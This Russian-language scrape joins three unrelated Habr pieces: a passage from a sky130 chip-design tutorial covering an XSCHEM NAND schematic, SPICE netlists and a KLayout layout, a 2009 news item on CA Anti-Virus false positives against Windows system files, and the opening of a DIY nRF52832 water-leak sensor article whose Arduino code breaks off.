Затем из списка, я открыл папку`sky130_fd_pr`, отмечено черным:
Затем я добавил `nfet_01v8` из списка `sky130_fd_pr`, затем я скопировал этот транзистор:
Повторяем те же действия для `pfet_01v8`из `sky130_fd_pr`.
Затем я добавил `OPIN` из `devices`. Для этого я нажал Insert и выбрал из списка стандартной библиотеки (красная) папку devices (синий цвет):
Затем я выбрал OPIN:
Левый клик для того, чтобы открыть меню параметров. Чтобы назвать его, поменяйте параметр lab на `Y`:
Затем я создал `IOPIN` с названиями `VPWR`, `VGND`, и`IPIN` с названием `A` и `B`. Эти типы используются, чтобы сказать XSCHEM, чтобы он создал пины для этой схемы с соответствующим типом и названием.
Также я поменял параметр W nfet транзисторов на 0.65мкм. А W транзисторов PFET я поменял на 1:
Затем я использовал Shift + W и W, чтобы подключить транзисторы. Чтобы выбрать объекты зажмите левый клик и выберите регион внутри, которого будут выбраны все объекты.
Используйте M, чтобы двигать выбранные объекты. Нажмите U для отмены последнего действия:
Давайте поймём, как выглядит SPICE netlist. Документацию можно взять из [NGSPICE manual](http://ngspice.sourceforge.net/docs/ngspice-manual.pdf).
```
Первая строка всегда комментарий. Будьте осторожны.
* это комментарий
* .lib, чтобы включить библиотеку.
* После пути к библиотеке должен стоять corner case (tt/ss/ff)
* .lib не может содержать enviornment variables,
* так что нам нужно использовать абсолютный путь
.lib "/home/armleo/Desktop/pdk_root/sky130A/libs.tech/ngspice/sky130.lib.spice" tt
* Включить файлы с объявлениями разных компонентов
.include "/home/armleo/Desktop/pdk_root/sky130A/libs.ref/sky130_fd_io/spice/sky130_fd_io.spice"
.include "/home/armleo/Desktop/pdk_root/sky130A/libs.ref/sky130_fd_sc_hvl/spice/sky130_fd_sc_hvl.spice"
.include "/home/armleo/Desktop/pdk_root/sky130A/libs.ref/sky130_fd_sc_hd/spice/sky130_fd_sc_hd.spice"
* Создать компонент типа subckt с именем X123
* Первая буква означает։
* R - Resistor
* C - Capacitors
* X - subckt
* sky130 объявляет транзисторы в виде subckt
* Подключить a, b, c, vdd, vss линии к пинам subckt
* последний идентификатор показывает тип subckt: subckt_example
X123 a b c vdd vss subckt_example
* Декларация самой subckt example
.subckt subckt_example pin_a pin_b pin_c vdd vss
* Объявить резистор R1
* Между a и b
* И имеющая 1k (тысяча) сопротивления
R1 a b 1k
* Декларация конденсатора C1
* между b и vss
* И имеющая 10 pico Farad
C1 b vss 10p
* конец subckt
.ends
* Провести анализ transient
* 1ns шаг, 10ns до конца
.tran 1ns 10ns
* Конец декларации SPICE
.end
```
SPICE netlist это список соединения компонентов (nets), декларация компонентов (subckt, resistor, capacitor, etc) и их определений (.subckt/.ends).
Симуляторы SPICE поддерживают 3 (основных) режима работы. `.TRAN` анализ, используется для того, чтобы составить графики время-значения напряжения, либо время-значение тока. Вот результат `.TRAN` анализа инвертора.
AC симуляция позволяет построить график зависимости напряжения, усиления и тока от частоты источника. DC позволяет построить график зависимости напряжения и тока от напряжения и тока. Во всех режимах поддерживаются скрипты измерения значений (`.meas`). Про анализы написано много статей, стоит обратиться именно к ним. В этой статье мы не будем рассматривать ничего кроме `.TRAN`.
Для генерации SPICE netlist нажмём на кнопку netlist.
SPICE netlist имеет следующий вид:
```
**.subckt my_nand Y A VPWR B VGND VPB VNB
*.opin Y
*.ipin A
*.iopin VPWR
*.ipin B
*.iopin VGND
*.iopin VPB
*.iopin VNB
XM1 Y B net1 VNB sky130_fd_pr__nfet_01v8 L=0.15 W=0.65 nf=1 ad='int((nf+1)/2) * W/nf * 0.29' as='int((nf+2)/2) * W/nf * 0.29'
+ pd='2*int((nf+1)/2) * (W/nf + 0.29)' ps='2*int((nf+2)/2) * (W/nf + 0.29)' nrd='0.29 / W' nrs='0.29 / W'
+ sa=0 sb=0 sd=0 mult=1 m=1
XM2 net1 A VGND VNB sky130_fd_pr__nfet_01v8 L=0.15 W=0.65 nf=1 ad='int((nf+1)/2) * W/nf * 0.29' as='int((nf+2)/2) * W/nf * 0.29'
+ pd='2*int((nf+1)/2) * (W/nf + 0.29)' ps='2*int((nf+2)/2) * (W/nf + 0.29)' nrd='0.29 / W' nrs='0.29 / W'
+ sa=0 sb=0 sd=0 mult=1 m=1
XM3 Y A VPWR VPB sky130_fd_pr__pfet_01v8 L=0.15 W=1 nf=1 ad='int((nf+1)/2) * W/nf * 0.29' as='int((nf+2)/2) * W/nf * 0.29'
+ pd='2*int((nf+1)/2) * (W/nf + 0.29)' ps='2*int((nf+2)/2) * (W/nf + 0.29)' nrd='0.29 / W' nrs='0.29 / W'
+ sa=0 sb=0 sd=0 mult=1 m=1
XM4 Y B VPWR VPB sky130_fd_pr__pfet_01v8 L=0.15 W=1 nf=1 ad='int((nf+1)/2) * W/nf * 0.29' as='int((nf+2)/2) * W/nf * 0.29'
+ pd='2*int((nf+1)/2) * (W/nf + 0.29)' ps='2*int((nf+2)/2) * (W/nf + 0.29)' nrd='0.29 / W' nrs='0.29 / W'
+ sa=0 sb=0 sd=0 mult=1 m=1
**.ends
** flattened .save nodes
.end
```
Но этот netlist не содержит источников напряжения либо тока. Поэтому, если вы попробуете просимулировать эту схему, у вас будет ошибка о том, что схему нельзя просимулировать. Также netlist компонента не содержит ․lib/.include которые подскажут симулятору, где искать объявленные модели транзисторов и других компонентов PDK.
Теперь сгенерируем symbol: `Symbol -> Make symbol from schematic`.
Затем создадим новую схему. Для этого нажмём на `File -> New Schematic` и назовём её `my_nand_tb.sch`. Файл следует сохранить в той же папке, где и другие ․sch в папке xschem нашего проекта.
И code для code S1 и S2. Первый кусок кода подключает необходимые библиотеки. Второй кусок кода говорит симулятору NGSPICE просимулировать по 0.1ns до достижения 30ns. Конкретно блок ․control работает только в NGSPICE, в других симуляторах нужно поменять под конкретный симулятор.
`vsource` для источников напряжения. И этот же компонент в режиме пульса для входов. Для этого я прочитал в мануале NGSPICE, как создать пульс. Все напряжения я взял 1.65 вольт.
Параметр `mc_mm_switch` поставлен в значение 0, поскольку в древних версиях был баг, из-за чего этот параметр нужно было определять вручную.
Схему можно найти в файле `my_nand_tb.sch`, в моём репозитории.
Затем я нажал на кнопку «netlist», для того чтобы сгенерировать `my_nand_tb.spice`, который содержит источники напряжения, а значит, если вы всё сделали правильно, симуляция должна пройти удачно.
После этого сгенерируется файл netlist: `my_nand_tb.spice`. Вот его содержимое:
```
**.subckt my_nand_tb input0_net vdd1v8 output_net input1_net
*.opin input0_net
*.opin vdd1v8
*.opin output_net
*.opin input1_net
V2 input0_net GND PULSE(0 1.65 5ns 1ns 1ns 4ns 10ns)
V3 vdd1v8 GND 1.65
V4 input1_net GND PULSE(0 1.65 15ns 1ns 1ns 9ns 20ns)
C1 output_net GND 20ff m=1
x1 vdd1v8 vdd1v8 input0_net output_net input1_net GND GND my_nand
**** begin user architecture code
.param mc_mm_switch=0
.lib /opt/pdk_root/sky130A/libs.tech/ngspice/sky130.lib.spice ss
.temp 125
.control
tran 0.1n 30n
plot V(input0_net) V(input1_net) V(output_net)
write
.endc
**** end user architecture code
**.ends
* expanding symbol: my_nand.sym # of pins=7
* sym_path: /home/armleo/Desktop/habr_nand_sky130/xschem/my_nand.sym
* sch_path: /home/armleo/Desktop/habr_nand_sky130/xschem/my_nand.sch
.subckt my_nand VPWR VPB A Y B VNB VGND
*.opin Y
*.ipin A
*.iopin VPWR
*.ipin B
*.iopin VGND
*.iopin VPB
*.iopin VNB
XM1 Y B net1 VNB sky130_fd_pr__nfet_01v8 L=0.15 W=0.65 nf=1 ad='int((nf+1)/2) * W/nf * 0.29' as='int((nf+2)/2) * W/nf * 0.29'
+ pd='2*int((nf+1)/2) * (W/nf + 0.29)' ps='2*int((nf+2)/2) * (W/nf + 0.29)' nrd='0.29 / W' nrs='0.29 / W'
+ sa=0 sb=0 sd=0 mult=1 m=1
XM2 net1 A VGND VNB sky130_fd_pr__nfet_01v8 L=0.15 W=0.65 nf=1 ad='int((nf+1)/2) * W/nf * 0.29' as='int((nf+2)/2) * W/nf * 0.29'
+ pd='2*int((nf+1)/2) * (W/nf + 0.29)' ps='2*int((nf+2)/2) * (W/nf + 0.29)' nrd='0.29 / W' nrs='0.29 / W'
+ sa=0 sb=0 sd=0 mult=1 m=1
XM3 Y A VPWR VPB sky130_fd_pr__pfet_01v8 L=0.15 W=1 nf=1 ad='int((nf+1)/2) * W/nf * 0.29' as='int((nf+2)/2) * W/nf * 0.29'
+ pd='2*int((nf+1)/2) * (W/nf + 0.29)' ps='2*int((nf+2)/2) * (W/nf + 0.29)' nrd='0.29 / W' nrs='0.29 / W'
+ sa=0 sb=0 sd=0 mult=1 m=1
XM4 Y B VPWR VPB sky130_fd_pr__pfet_01v8 L=0.15 W=1 nf=1 ad='int((nf+1)/2) * W/nf * 0.29' as='int((nf+2)/2) * W/nf * 0.29'
+ pd='2*int((nf+1)/2) * (W/nf + 0.29)' ps='2*int((nf+2)/2) * (W/nf + 0.29)' nrd='0.29 / W' nrs='0.29 / W'
+ sa=0 sb=0 sd=0 mult=1 m=1
.ends
.GLOBAL GND
** flattened .save nodes
.end
```
Симуляция testbench
-------------------
Чтобы произвести симуляцию выполним эту команду:
```
ngspice -r "my_nand_tb.raw" "my_nand_tb.spice"
```
Хотя ․spiceinit содержит настройки, которые ускорят запуск симуляции в несколько раз, тем не менее симуляция занимает очень длительное время. Все библиотеки и симуляторы, которые я использовал, производили симуляцию за пару секунд. Тим Митро утверждает, что причина в том, что мы загружаем все три corner case и абсолютно все определения, для всех компонентов, вне зависимости от того, какие варианты нам нужны.
Если у вас git status показывает, что ․spiceinit изменился, значит вы случайно запустили симуляцию пятой командой из списка конфигурации XSCHEM. Верните его в исходное положение. Либо страдайте симуляциями по 10 лет.
После симуляции в терминале должна быть следующая консоль։
И следующее окно:
Really cool!
Сделаем plot по отдельности. Введите в консоль NGSPICE:
```
plot v(output_net)
plot v(input0_net)
plot v(input1_net)
```
Должно получиться так:
Чтобы выйти из NGSPICE введите:
```
exit
```
Разработка Layout
-----------------
Мы научились делать схему и получать из неё SPICE netlist. Иногда выгодно писать SPICE netlist самому, но я не буду вас мучать симуляциями и SPICE netlist-ами ։D. Приступим, наконец, к так называемому layout.
Для рисования layout будем использовать Klayout, но для DRC и LVS будем использовать Magic VLSI.
*PS: Я решил не переводить layout ибо не нашёл хорошего слова.*
### ▍Разбираемся в слоях
Очевидно, что для того, чтобы сделать Layout, нам нужно понять значение каждого слоя в нашей layout, которую мы должны нарисовать. Рассмотрим процесс производства микросхемы.
Для начала делают подложку из кремния.
Затем вся пластина покрывается в фоторезист.
После чего, светом фоторезист убирается.
Во все места микросхемы, которые нужно покрыть N полупроводником (слой NWELL нашей микросхемы) вводятся ионные импланты мышьяка.
После чего фоторезист убирается. Затем эти шаги повторяются, для создания PWELL, но вместо мышьяка используется бор.
Мы получили наш NWELL/PWELL, теперь мы вставляем диффузии типа P и типа N. Там, где диффузия (diff) соприкасается с PSDM вставляется P полупроводник. Там, где диффузия (diff) соприкасается с NSDM вставляется N полупроводник:
Используя термическую обработку, образуется диэлектрик из диоксида кремния SiO2. Чтобы изготовить эту маску, берётся слой, в котором поликремний находится над диффузией (слой poly).
После чего вставляется слой поликремния. Для этого поликремний испаряется, и микрочастицы вставляются в области, где фоторезист отсутствует:
Затем, аналогичным образом, вставляется контакт (licon1) и первый слой тонкого металла li1.
Эти два шага повторяются для каждого слоя via и Mx.
### ▍Разработка Layout (практическая часть)
Откроем уже существующую ячейку и скопируем из неё все необходимую базу: содержимое слоёв, стиль и т.д. и т.п.
```
LD_LIBRARY_PATH=/opt/klayout-v0.27.4/bin-release /opt/klayout-v0.27.4/bin-release/klayout -e -nn $PDK_ROOT/sky130A/libs.tech/klayout/sky130A.lyt \
-l $PDK_ROOT/sky130A/libs.tech/klayout/sky130A.lyp \
$PDK_ROOT/sky130A/libs.ref/sky130_fd_sc_hd/gds/sky130_fd_sc_hd.gds
```
Это запустит Klayout с файлом технологии (lyt), настройками для конкретной технологии (lyp), в режиме редактирования (-e) и откроет файл `sky130_fd_sc_hd.gds`. Документацию можно найти [вот тут](https://www.klayout.de/doc-qt4/index.html).
Если у вас segfault, значит вы случайно запустили Klayout из репозитория Убунту. Если сверху у вас не видно большой T и надписи sky130A, значит у вас не установлен PDK, либо вы не сделали `source sourcme.sh` до того как запустить Klayout. Я на этом уже сто раз попадался.
Если вы всё сделали правильно, откроется окно Klayout:
В левой панели нужно найти ячейку `sky130_fd_sc_hd_inv_1`. Затем нажать правую кнопку мыши и выбрать `Save Selected Cells As`, и сохранить его, как `my_nand.gds` в папке gds нашего проекта. И в открывшемся окне нажмите ОК.
Затем откроем этот файл. Выйдите из Klayout и введите след. команду։
```
LD_LIBRARY_PATH=/opt/klayout-v0.27.4/bin-release /opt/klayout-v0.27.4/bin-release/klayout -e -nn $PDK_ROOT/sky130A/libs.tech/klayout/sky130A.lyt -l $PDK_ROOT/sky130A/libs.tech/klayout/sky130A.lyp gds/my_nand.GDS
```
Должно открыться следующее окно.
Причина, почему мы копируем существующий элемент в том, что нам нужен слой OUTLINE, а точнее её высота. Без неё наша ячейка не поместится внутри линий питания библиотеки sky130\_fd\_sc\_hd, ибо инструмент Place and route не будет знать, как именно поставить эту ячейку относительно линий питания (Power Rails).
Ещё стоит сказать, про то, что эта библиотека использует транзисторы с повышенным уровнем Vth для уменьшения энергопотребления. Для этого над всеми PFET транзисторами проведён слой hvtp. Мы удалим его, ибо наша схема построена на обычных транзисторах.
Для этого выберем этот слой, кликнув несколько раз, пока надпись внизу не укажет полигон, который находится на слое HVTP. Затем нажмите Delete:
В правой верхней панели HVTP должно стать серым. Это означает, что данный слой не содержит полигонов.
Скроем слои, которые не содержат полигонов. Нажмите правой кнопкой на любой слой и выберете Hide Empty Layers.
Должно получиться вот так:
Красота! А теперь поменяем стиль отрисовки некоторых слоёв. Для этого поставим галочки в панели Layer Toolbox.
Для этого в верхней панели выбираем слой, а в нижней можем менять цвет и паттерн конкретного слоя.
* Poly -> Первый паттерн
* Licon1 -> Purple, 4ая линия, 3ий паттерн
* Diff -> Orange, whole pattern (первый)
* Li1 -> Orange, netted pattern (последний)
Должно выйти вот так:
Чтобы спрятать слой, выберете слой и нажмите на него левой кнопкой мыши, должно открыться следующее подменю. В нём вы можете либо спрятать один слой, показать слой, либо спрятать и показать все слои.
Теперь наконец-то, поменяем эту схему на схему NAND. Скроем слои, которые мы не будем пока менять. Оставим только poly, licon и diff. Нажимаем на любой слой и «Hide all». Затем нажимаем на poly, diff, licon и нажимаем на Show. Должно быть так:
Настроим рулетку. Откройте меню `Edit` и нажмите `Ruler And Annotation Setup`.
Поменяйте рулетку в ортогональный режим и включите `Snap To Grid`.
Закройте это окно и нажмите F3. И поменяйте шаг на 0.01.
Теперь продлим diff. Двойной клик по diff откроет меню редактирования полигона. Поменяйте Upper right X: 0.34 + 1.09.
Откуда взялся 1.09? Я добавил длину каждого элемента. Прочитаем правила DRC для нашей технологи [вот тут](https://skywater-pdk.readthedocs.io/en/latest/rules/periphery.html#licon). Нас интересуют следующие правила.
Расстояние licon от поликремния должно быть более чем 0.05мкм:
Расстояние между двумя полигонами должно быть ровно 150нм:
Licon должен быть окружён диффузией минимум на 40нм:
Licon позволяют подключать металлический слой li1 к поликремнию, либо к диффузии. Вот слои в разрезе:
Из документации мы узнаём, что расстояние между licon должно быть 170нм, а сами licon должны быть размером 0.17мкм на 0.17мкм:
Итоговая структура. Видим все наши правила в деле:
Чувствуйте обман? Вроде технология называется 130нм, а поликремний 150нм? Всё просто 130нм можно применять [только в специальных компонентах SRAM ячеек](https://skywater-pdk.readthedocs.io/en/latest/known_issues.html).
Теперь нарисуем второй поликремний, который в скором времени станет gate-ом для двух транзисторов. Для этого я создал Box из поликремния и установил координаты. Чтобы понять какие координаты поставить, я просто взял координаты первого поликремния и добавил к ним 0.05мкм + 0.17мкм + 0.05мкм + 0.150мкм = 0.27 + 0.15 мкм по горизонтали.
Затем повторил те же действия для нижней диффузии. Теперь сделаем контакты (licon).
Скопировал три верхние и два нижние licon и переместил их центр так, чтобы между ними было расстояние 0.25мкм от второго licon. 0.25 мкм взято не из воздуха. Поликремний должен быть от левого licon на 50нм правее. Затем, сам поликремний имеет длину 0.150мкм, и в конце концов 50нм от поликремния находится сам licon. В итоге должно быть вот так:
Добавим второе соединение к поликремнию. Из документации мы узнаем, что поликремний должен окружать licon с двух сторон по 80нм, а по всем остальным сторонам хотя бы 50нм.
Для этого создадим Box 0.34мкм на 0.34мкм. Минимум нужен 0.33 на 0.33. Затем скопируем licon1 и поместим его посередине поликремния. Получится как-то так:
Удалим средние нижние два контакта ибо мы не хотим подключать ничего извне к drain левого NMOS транзистора, который по совместительству является source-ом правого NMOS.
Сделаем металлический слой li1. Включаем отображение li1. Заглянем в документацию и поймём, каким размером должен быть li1 по правилам DRC.
Здесь мы найдём правила касательно минимального li1 от li1 расстояния, и минимальной ширины LI1.
Я удалил весь LI1, кроме верхнего и нижнего Box-а, которые я удлинил так, чтобы он выступал из диффузии на 0.34. Затем я заново нарисовал остальные LI1:
Затем я удлинил OUTLINE на 0.05 + 0.34 так, чтобы он включал нарисованный LI1.
Повторим те же действия для слоёв nwell.drawing, psdm.drawin, nsdm.drawing, areaid.standardc. А ещё я поменял слой text.drawing, поменяв text слева снизу из inv\_1 в my\_nand:
Затем я включил отображение NPC.drawing и поменял паттерн на что-то видное. И пошёл читать, что это такое. В документации видим:
Так что удлиняем его на 0.34+0.05. Затем я взял Ruler и измерил насколько licon1 окружён npc. Упс 0.08мкм:
Давайте это исправим. Я переместил горку правого поликремния на 0.02мкм вниз. Затем я скопировал правый вертикальный Box поликремния и переместил его, используя Move на 0.42 влево. Потом я удалил старый полигон поликремния.
После чего я скопировал горку правого поликремния и поместил его под licon-ом левого поликремния. Затем я удалил старый полигон.
Теперь к слою металла. Включаем отображение met1.drawing, met1.label, met1.pin и также удлиняем металл VPWR/VGND power rail. Для этого двойным нажатием по met1 открываем меню редактирования Path и удлиняем его на 0.05+0.34мкм. Меняем значение 1.38 на 1.77. Должно получиться вот так.
Это нужно, чтобы когда инструмент Place and route поместит ячейки рядом с друг другом, эти ячейки автоматическим образом поместились на уже нарисованные power rail-и.
Логичный вопрос: почему бы не использовать LI1 для линий питания?
Ответ прост: LI1 тонкий слой металла. На короткие расстояния, сопротивление LI1 можно игнорировать. Для бОльших расстояний LI1 не годится для подачи питания ибо имеет значительное сопротивление.
Решение: Используйте met1 для подачи питания, поскольку met1 имеет в 4 раза меньше сопротивления чем li1.
Теперь повторяем это же действие для VPWR.
### ▍met1.pin/met1.label и другие .pin/.label
Теперь остановимся и поймём, что такое met1.pin и met1.label. Слои .pin показывают, где находится точка соединения, а .label содержит текст с именем этого .pin-а. Давайте скроем все наши слои и взглянем на met1.pin и met1.label. Если мы не поставим текст с названием пина в слое .label, то инструменты place and route не будут знать, какие пины данного компонента соответствуют одноимённым названиям пинов в SPICE netlist.
На данной картинке плохо видно, но в слое met1.label содержится элемент text с текстом VGND и VPWR. Вот они вблизи.
Если пины не будут соответствовать названиям пинов в нашей схеме, то во время LVS netgen пожалуется нам, что имена наших пинов схемы не соответствуют именам в layout.
Также стоит рассмотреть NWELL.pin, NWELL.label, PWELL.label. PWELL как мы уже рассмотрели, это по сути вся микросхема. Части PWELL можно изолировать, а поскольку он является полупроводником и является Bulk-ом транзистора, он должен быть подключен к источнику напряжения. Чтобы Place and route знал куда подключать VPWR/VGND, чтобы подать напряжение на Bulk, нам нужно поставить text в слое PWELL.label и Box в слое PWELL.pin. По аналогии, это нужно проделать и с NWELL.label и NWELL.pin, но в отличие от PWELL — NWELL нужно явно указать, нарисовав Box в NWELL.drawing.
Иногда разработчики Standard Cell Library требуют подать напряжение к Bulk, чтобы уменьшить Vth, подняв производительность, либо повышают Vth, чтобы уменьшить энергопотребление см. [Body effect](https://www.electronics-tutorial.net/Analog-CMOS-Design/MOSFET-Fundamentals/Body-Effect/). Поскольку мы скопировали слои из inv\_1 ячейки, то у нас уже есть нарисованные NWELL, PWELL слои. Вот посмотрите!
Теперь разберёмся с mcon. Этот слой используется для подключения металлического слоя met1 и слоя li1. Включим отображение этого слоя:
Как видим, MCON используется для подачи VPWR/VGND в слой LI1. MCON должен находиться от другого MCON на 0.19мкм, а сам MCON должен иметь размер 0.17 на 0.17мкм. Я не стал добавлять больше MCON.
Включаем LI1.pin:
Сначала поменяем цвет на лаймовый, затем переместим li1.pin, туда где будут подключаться наши входы и выходы.
Теперь сделаем li1.label. Смотрим на схему и видим, что в схеме к VGND подключён NFET с гейтом, который подключён к входу A. Почему это важно? Если мы подключим вход B к гейту этой NFET, то LVS пожалуется на то, что схема не соответствует нашей layout:
Включаем слой li1.label. И перемещаем текст Y на почти центр li1, который проходит посередине. Перемещаем A на левый li1.
Затем переименовываем оставшийся текст Y в B и перемещаем на правый LI1. Для этого двойным нажатием открываем меню редактирования текста.
Сохраняем файл через File -> Save all и **НЕ** закрываем Klayout. Он нам понадобится в следующей части.
>
> **Об авторе**
> Меня зовут Арман и я окончил институт Synopsys по профилю VLSI разработки микросхем. В основном я занимаюсь разработкой цифровых компонентов для микросхем и IP для ПЛИС. В прошлом я был программистом, писал бэкенд на Node.js и разрабатывал под микроконтроллеры, но решил пересесть на что-то сложнее, попробовать себя, так сказать.
>
>
>
> Я открыт к найму, поэтому, если вас интересует найм разработчика цифровых микросхем с тремя годами опыта и очень интересными проектами (Радиомодемы, преобразователи интерфейсов, процессоры и очень многое), напишите мне в личку.
>
>
>
**Как разработать микросхему, от идеи до результата. Ссылки на все статьи։**
* **[Часть 1. Теория](https://habr.com/ru/company/ruvds/blog/591275/)**
* **[Часть 2. Установка программного обеспечения](https://habr.com/ru/company/ruvds/blog/591291/)**
* **[Часть 3. Схемотехническое представление и Layout](https://habr.com/ru/company/ruvds/blog/591293/)**
* **Будет доступна 10.12.21: [Часть 4. DRC/LVS/PEX](https://habr.com/ru/company/ruvds/blog/591295/)**
[](https://ruvds.com/ru-rub/news/read/151?utm_source=habr&utm_medium=article&utm_campaign=%D0%90%D0%92%D0%A2%D0%9E%D0%A0&utm_content=%D0%A2%D0%95%D0%9C%D0%90) | https://habr.com/ru/post/591293/ | null | ru | null |
# CA Antivirus блокирует системные файлы Windows
После вчерашнего обновления вирусных баз пользователи антивируса CA Anti-Virus 2009 смогли наблюдать, как ряд системных файлов Windows определялись сканером как вирусы и отправлялись в карантин. На форуме поддержки [CA Anti-Virus](http://homeofficeforum.ca.com/homeofficeforum/showthread.php?s=f2c6ef6ffb05d6a39bf7463a2ae0ab9f&t=4831) назывались разные результаты проверок — в среднем блокировалось от 8 до 15 файлов.
`7/8/2009 16:58:31 PM File infection: C:\WINDOWS\system32\net.exe is Win32/AMalum.ZZNPB infection. Quarantined
7/8/2009 16:58:32 PM File infection: C:\WINDOWS\system32\netsh.exe is Win32/AMalum.ZZOKH infection. Quarantined
7/8/2009 16:58:38 PM File infection: C:\windows\SERVIC~1\i386\net.exe is Win32/AMalum.ZZNPB infection. Quarantined
7/8/2009 16:58:38 PM File infection: C:\windows\ServicePackFiles\i386\net.exe is Win32/AMalum.ZZNPB infection.
7/8/2009 16:58:38 PM File infection: C:\windows\SERVIC~1\i386\netsh.exe is Win32/AMalum.ZZOKH infection. Quarantined
7/8/2009 16:58:39 PM File infection: C:\windows\ServicePackFiles\i386\netsh.exe is Win32/AMalum.ZZOKH infection.
7/8/2009 16:58:42 PM File infection: C:\WINDOWS\system32\reg.exe is Win32/AMalum.ZZOAF infection. Quarantined
7/8/2009 16:58:47 PM File infection: C:\windows\SERVIC~1\i386\reg.exe is Win32/AMalum.ZZOAF infection. Quarantined
7/8/2009 16:58:47 PM File infection: C:\windows\ServicePackFiles\i386\reg.exe is Win32/AMalum.ZZOAF infection.
7/8/2009 16:58:49 PM File infection: C:\WINDOWS\system32\verclsid.exe is Win32/AMalum.ZZNRA infection. Quarantined`
Проблема затронуа, в основном, пользователей Windows XP SP3, но о проблеме заявляли и пользователи и других версий системы.
Интересно, что это не далеко не первый случай ложных срабатываний среди западных антивирусов за последние месяцы. 3-4 июля после обновления сигнатур пользователи McAfee [обнаруживали](http://www.theregister.co.uk/2009/07/03/mcafee_false_positive_glitch/), что их машины заражены трояном PWS!hv.aq, за который сканер принимал вполне нормальные системные файлы. | https://habr.com/ru/post/64090/ | null | ru | null |
# Беспроводной датчик протечки воды на nRF52832, DIY проект
Приветствую всех читателей раздела «DIY или Сделай сам» на Habr! Сегодня хочу рассказать об очередном своем проекте, эта статья будет о датчике протечки воды на батарейном питании. Как и в предыдущих проектах, это устройство работает на микроконтроллере nRF52832. Есть три версии этого датчика, во всех трех версиях используются готовые модули с nRF52832, в этой статье речь пойдет о средней версии в котором используется модуль YJ-17103 от HOLYIOT.
Детектор жидкости реализован на микросхеме SN74LVC1G00 | [Даташит](http://www.ti.com/lit/ds/symlink/sn74lvc1g00.pdf). Кратко опишу схемное решение и принцип работы. Электрод №1 датчика подключен к земле, электрод №2 датчика подключен к ножкам A и В микросхемы SN74LVC1G00 через резистор 100Oм, так же к этой линии подведено 3.3в через резистор 1М, так же в схему добавлена емкость. Когда контакта с жидкостью нет на ножках микросхемы A и В логическая единица, соответственно на ножке Y подключенной к ножке МК (програмно настроенной на детектирование прерывания через встроенный компоратор) логический ноль. Как только произойдет контакт с жидкостью и на ножках A и B будет низкий уровень, то сигнал на ножке Y микросхемы SN74LVC1G00 так же инвертируется, что вызовет прерывание, которое в свою очередь выведет МК из сна. В дальнейшем микросхема SN74LVC1G00 возможно будет заменена на микросхему SN74LVC1G14 | [Даташит](http://www.ti.com/lit/ds/symlink/sn74lvc1g14.pdf), а возможно и не будет :). Детектирование жидкости с ножки МК через встроенный компоратор не планируется.
Как и все другием мои проекты, этот тоже является Arduino проектом и как и все проекты за последний год(примерно) этот так же сделан под проект Mysensors. Как и в других своих статьях, немного затрону тему Mysensors и в этой статье.
Mysensors это сообщество разработчиков програмного обеспечения с открытым исходным кодом. Данный протокол разработан сообществом для создания радио и проводных сетей. Первоначально проект разрабатывался для платформы Arduino. Стандартная Mysensors сеть состоит из гейта(шлюза), ретранстяторов и конечных устройств(ноды). В одной сети может быть до 254 устройств, каждое из устройств может быть оснащено до 254-мя сенсорами, датчиками, исполнительными узлами. Работа сети, обработка данных, выполнение сценариев и взаимодействие в другими устройствами осуществляется с помощью контроллера УД. Некоторые из контроллеров(Мажордомо) поддерживают работу с несколькими сетямии Mysensors(мультигейтовость), соответственно сетей может быть намного больше одной управляемых одним контроллером.
**Поддерживаемые аппаратные платформы**: Linux / Raspberry Pi / Orange Pi | ATMega 328P | ESP8266 | ESP32 | nRF5x(Cortex M0, M4) | Atmel SAMD, используемое в Arduino Zero (Cortex M0) | Teensy3(MK66FX1M0VMD18) | STM32F1.
**Поддерживаемые радиопередатчики**: NRF24L01 | RFM69 | RFM95 (LoRa) | nRF5x
**Поддерживаемый проводной тип связи**: RS485
**Поддерживаемые типы связи между гейтом и контроллером**: MQTT | Serial USB | WiFi | Ethernet | GSM
Вернемся к датчику протечки. Устройство работает от батареек CR2430, CR2450 или CR2477. Потребление во сне составляет менее 3мкА. Скорость передачи — 250Kbps, 10-15ms. Энергопотребление в момент передачи составляет не более 8мА. Теоретически срок работы на одной батарейке примерно равен сроку саморазряда батарейки. На практике все конечно менее радужно, так как есть процедура регистрации, презентации, периодическая отправка уровня заряда, так что срок работы от одной батарейки скорее ближе к значению — срок саморазряда/2 :). Питание осуществляется напрямую от батарейки, контроль уровня заряда батарейки производится непосредственно с пина VDD. В датчике установлен RGB LED для индикации регистрации датчика в сети, для индикации сервисных режимов и для индикации детектирования протечки. Естественно светодиод может не использоваться вообще или использоваться частично.
Плату устройства была сделана для дальнейшего ее изготовления по методу ЛУТ. Поэтому из нюансов такого варианта это увеличенная ширина трасс, увеличенные расстояния между трассами, увеличенные площадки под межслойные переходы(для более удобного сверления отверстий), отсутствие заливки пустых областей из-за небольшой площади платы. Позже был сделан вариант для заказа на производстве.
Корпус устройства был спроектирован из двух частей. Верхняя крышка с местами для крепления платы и нижняя часть(ванночка) с 2 отверстиями под стальные контактные винты(герметизация возможна силиконовым герметиком под шляпку винтов или не требуется) и двумя трубками под кнопки (сброс и режимы) на плате. Печать выполнялась на SLA 3D принтере ANICUBIC PHOTON. После печати была выполнена обработка наждачной бумагой 320 и 1000 для подгонки стыков крышки и дна корпуса.
**Фотографии датчика**
**Код тестовой программы**
wl\_standart\_test.ino
```
bool button_flag;
bool send_flag;
bool detection;
bool nosleep;
byte timer;
bool AckG;
bool AckB;
bool AckL;
bool PRESENT_ACK;
bool flag_lq;
unsigned long SLEEP_TIME = 172800000; //48 hours
//unsigned long SLEEP_TIME = 3600000; //1 hour
unsigned long oldmillis;
unsigned long newmillis;
unsigned long interrupt_time;
unsigned long SLEEP_TIME_W;
uint16_t currentBatteryPercent;
uint16_t batteryVoltage = 0;
uint16_t battery_vcc_min = 2300;
uint16_t battery_vcc_max = 3000;
int16_t linkQuality;
#define MY_DISABLED_SERIAL
#define MY_RADIO_NRF5_ESB
#define MY_RF24_PA_LEVEL (NRF5_PA_MAX)
//#define MY_PASSIVE_NODE
#define MY_NODE_ID 86
#define MY_PARENT_NODE_ID 0
#define MY_PARENT_NODE_IS_STATIC
#define MY_TRANSPORT_UPLINK_CHECK_DISABLED
#define INTR_PIN 3 //(PORT0, gpio 5)
#include
// see https://www.mysensors.org/download/serial\_api\_20
#define W\_L\_SENS\_CHILD\_ID 0
#define LINK\_QUALITY\_CHILD\_ID 253
MyMessage sensMsg(W\_L\_SENS\_CHILD\_ID, V\_VAR1);
//MyMessage voltMsg(CHILD\_ID\_VOLT, V\_VOLTAGE);
void preHwInit() {
pinMode(POWER\_PIN, OUTPUT);
